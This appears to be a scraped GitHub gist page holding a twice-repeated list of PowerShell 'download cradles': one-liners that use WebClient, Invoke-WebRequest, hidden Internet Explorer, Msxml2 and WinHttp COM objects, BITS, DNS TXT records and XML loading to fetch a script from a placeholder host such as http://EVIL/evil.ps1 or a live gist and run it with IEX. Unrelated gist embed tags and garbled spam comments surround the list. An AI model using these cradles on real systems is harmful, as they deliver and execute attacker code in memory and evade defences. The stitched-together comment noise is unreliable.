<script src=https://gist.github.com/raw/946328/gistfile1.txt ><\/script>

gistfile1.txt

<script src=https://gist.github.com/raw/946328/gistfile1.txt ><\/script>

https://gist.github.com/Ashutoshkumargautam/9b3ae5a6a14152227cd255b3c7440e9d/stargazers

https://gist.github.com/AsedaDeveloper/340ca2444fb297b8ae1938b00932c9c6

<script src="https://gist.github.com/arguiot/5abf1b7bef3f7be493be3bda63f88dcb.js"></script>

why is the song cradles so good?

normal download cradle

IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

PowerShell 3.0+

IEX (iwr 'http://EVIL/evil.ps1')

hidden IE com object

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

Msxml2.XMLHTTP COM object

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

WinHttp COM object (not proxy aware!)

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

using bitstransfer- touches disk!

Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)

code to execute needs to be a base64 encoded string stored in a TXT record

IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

from @subTee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d

<#

Get-Process #> $a = New-Object System.Xml.XmlDocument $a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt") $a.command.a.execute | iex

normal download cradle

IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

PowerShell 3.0+

IEX (iwr 'http://EVIL/evil.ps1')

hidden IE com object

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

Msxml2.XMLHTTP COM object

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

WinHttp COM object (not proxy aware!)

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

using bitstransfer- touches disk!

Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)

code to execute needs to be a base64 encoded string stored in a TXT record

IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

from @subTee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d

<#

Get-Process #> $a = New-Object System.Xml.XmlDocument $a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt") $a.command.a.execute | iex

<script src="https://gist.github.com/Watreni/b4e31ca33730ffe7259194cb3b385bb8.js"></script>

<script src="https://gist.github.com/ssmereka/6517444.js"></script>

<script src="https://gist.github.com/NathanXID/2fee8e4c5e6a082dc215f0da91cf7a5c.js"></script>

<script src="https://gist.github.com/leaky-coder/4f3c403adfbc7c925bbb239713428f39.js"></script>

<script src="https://gist.github.com/iNPUTmice/28113eecccf50dc81d266c4215cb1264.js"></script>

<script src="https://gist.github.com/martytyty2098/baf42f8ff0bfae517971448ee0cdae19.js"></script>

https://gist.github.com/raw/946328/gistfile1.txt

THIS ONE IS MINE !!!

<script src="https://gist.github.com/v1ck3/dcebc4ccd329d14f91e6886aa05b8fab.js"></script>

go hakers

https://gist.github.com/mattn/946330?permalink_comment_id=2310541#gistcomment-2310541

Tsyfigg

Hi ugufrdhv

Vi hi ha sh hy r jhy

Yes nohgffi

Nabu

Yes boss

Я тут с вами

<script src="https://gist.github.com/mattn/946330.js"></script>

guys what should i do with this file?